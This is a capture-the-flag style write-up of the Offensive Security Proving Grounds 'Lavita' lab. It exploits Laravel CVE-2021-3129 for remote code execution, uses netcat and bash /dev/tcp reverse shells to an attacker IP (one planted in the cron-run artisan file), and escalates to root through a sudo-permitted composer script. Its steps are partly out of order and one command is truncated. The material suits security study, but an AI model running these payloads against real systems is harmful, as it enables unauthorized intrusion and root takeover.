Target: Linux

Proving Grounds: Lavita

This lab challenges learners to exploit a misconfigured APP_DEBUG setting in a Laravel 8.4.0 application. Using CVE-2021-3129, an unauthenticated Remote Code Execution (RCE) vulnerability in Laravel's Ignition component, attackers can execute arbitrary code, gain reverse shells, and escalate privileges to root through misconfigurations.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

The lab will leverage enumeration techniques, including web enumeration, to uncover potential vulnerabilities. You will also exploit CVE-2021-3129 and demonstrate how to abuse SUDO permissions for unauthorized access. This lab focuses on understanding and exploiting vulnerabilities to enhance security awareness.

Scenario

This lab challenges learners to exploit a misconfigured APP_DEBUG setting in a Laravel 8.4.0 application. Using CVE-2021-3129, an unauthenticated Remote Code Execution (RCE) vulnerability in Laravel's Ignition component, attackers can execute arbitrary code, gain reverse shells, and escalate privileges to root through misconfigurations.

Learning objectives

After completion of this lab, learners will be able to:

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@debian:/tmp$ timeout 60s ./pspy64
timeout 60s ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
...
2026/06/15 17:22:49 CMD: UID=0     PID=1020   | 
2026/06/15 17:23:01 CMD: UID=0     PID=1022   | /usr/sbin/CRON -f 
2026/06/15 17:23:01 CMD: UID=0     PID=1023   | /usr/sbin/CRON -f 
2026/06/15 17:23:01 CMD: UID=1001  PID=1024   | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 
2026/06/15 17:23:01 CMD: UID=1001  PID=1025   | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 
2026/06/15 17:23:01 CMD: UID=1001  PID=1027   | sh -c stty -a | grep columns 
2026/06/15 17:23:01 CMD: UID=1001  PID=1026   | stty -a 
2026/06/15 17:23:01 CMD: UID=1001  PID=1028   | /usr/bin/php /var/www/html/lavita/artisan clear:pictures 
2026/06/15 17:23:01 CMD: UID=1001  PID=1030   | sh -c stty -a | grep columns 
2026/06/15 17:23:01 CMD: UID=1001  PID=1029   | stty -a
...

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

www-data@debian:/tmp$ ls -al /var/www/html/lavita/artisan
ls -al /var/www/html/lavita/artisan
-rwxr-xr-x 1 www-data www-data 1686 Nov 10  2020 /var/www/html/lavita/artisan

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Read the file contents for useful configuration or credential data.

www-data@debian:/tmp$ cat /etc/passwd | grep '1001'
# Read the file contents for useful configuration or credential data.

cat /etc/passwd | grep '1001'
skunk:x:1001:1001::/home/skunk:/bin/bash

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

www-data@debian:/tmp$ ls -al /var/www/html/
ls -al /var/www/html/
total 24
drwxr-xr-x  3 root     root      4096 Dec  8  2023 .
drwxr-xr-x  3 root     root      4096 Dec  8  2023 ..
-rw-r--r--  1 root     root     10701 Dec  8  2023 index.html
drwxr-xr-x 12 www-data www-data  4096 Dec  8  2023 lavita

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

## updating the artisan file with rev shell

# Execute the next evidence-gathering step in the authorized lab.

www-data@debian:/var/www/html/lavita$ sed -i "3i\exec(\"bash -c 'bash -i >& /dev/tcp/192.168.45.205/22 0>&1'\");" /var/www/html/lavita/artisan
<8.45.205/22 0>&1'\");" /var/www/html/lavita/artisan

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/lavita]
# Discover application paths and files that may expand the attack surface.

└─$ gobuster dir -u http://192.168.170.38/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt    
===============================================================
# Discover application paths and files that may expand the attack surface.

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.170.38/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 317] [--> http://192.168.170.38/images/]
js                   (Status: 301) [Size: 313] [--> http://192.168.170.38/js/]
css                  (Status: 301) [Size: 314] [--> http://192.168.170.38/css/]
logout               (Status: 405) [Size: 835]
register             (Status: 200) [Size: 4981]
login                (Status: 200) [Size: 4916]
home                 (Status: 302) [Size: 354] [--> http://192.168.170.38/login]
javascript           (Status: 301) [Size: 321] [--> http://192.168.170.38/javascript/]
server-status        (Status: 403) [Size: 279]
image-upload         (Status: 302) [Size: 354] [--> http://192.168.170.38/login]
Progress: 26583 / 26583 (100.00%)
===============================================================
Finished
===============================================================

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

┌──(.myenv)─(kali㉿kali)-[~/offsec/lavita/expl/CVE-2021-3129]
# Run the helper or analysis script used in this lab step.

└─$ python3 CVE-2021-3129.py --host 192.168.170.38 --exec 'nc 192.168.45.205 4444 -e /bin/bash'
  _____   _____   ___ __ ___ _    _____ ___ ___ 
 / __\ \ / / __|_|_  )  \_  ) |__|__ / |_  ) _ \                                                                   
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_,  /                                                                   
 \___| \_/ |___| /___\__/___|_|  |___/_/___|/_/                                                                    
 https://github.com/joshuavanderpoll/CVE-2021-3129                                                                 
 Using PHPGGC: https://github.com/ambionics/phpggc

[?] Would you like to use the previous working chain 'laravel/rce2' [Y/N] : y
[@] Starting the exploit on "http://192.168.170.38/"...
[@] Testing vulnerable URL "http://192.168.170.38/_ignition/execute-solution"...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/html/lavita/storage/logs/laravel.log".
[•] Laravel version found: "8.4.0".
[@] Clearing Laravel logs...
[√] Cleared Laravel logs!
[@] Executing command "nc 192.168.45.205 4444 -e /bin/bash"...
[@] Generating payload...
[√] Generated 1 payloads.
[@] Trying chain laravel/rce2 [1/1]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/lavita]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.170.38] 40288
# Run the helper or analysis script used in this lab step.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Confirm the identity of the current session.

www-data@debian:/$ whoami
# Confirm the identity of the current session.

whoami
www-data
# Execute the next evidence-gathering step in the authorized lab.

www-data@debian:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Read the file contents for useful configuration or credential data.

www-data@debian:/var/www/html/lavita$ cat artisan
# Read the file contents for useful configuration or credential data.

cat artisan
#!/usr/bin/env php
<?php
exec("bash -c 'bash -i >& /dev/tcp/192.168.45.205/22 0>&1'");

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/

require __DIR__.'/vendor/autoload.php';

$app = require_once __DIR__.\'/bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/

$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);

$status = $kernel->handle(
    $input = new Symfony\Component\Console\Input\ArgvInput,
    new Symfony\Component\Console\Output\ConsoleOutput
);

/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running, we will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/

$kernel->terminate($input, $status);

exit($status);

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

skunk@debian:~$ sudo -l
# Identify commands that can run with elevated privileges.

sudo -l
Matching Defaults entries for skunk on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User skunk may run the following commands on debian:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/composer --working-dir\=/var/www/html/lavita *

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output records the result observed during this authorized lab step.

<{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}\' > composer.json

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

skunk@debian:~$ sudo /usr/bin/composer --working-dir\=/var/www/html/lavita x
# Execute the next evidence-gathering step in the authorized lab.

sudo /usr/bin/composer --working-dir\=/var/www/html/lavita x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
/bin/sh: 0: can\'t access tty; job control turned off
## id
uid=0(root) gid=0(root) groups=0(root)
##

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.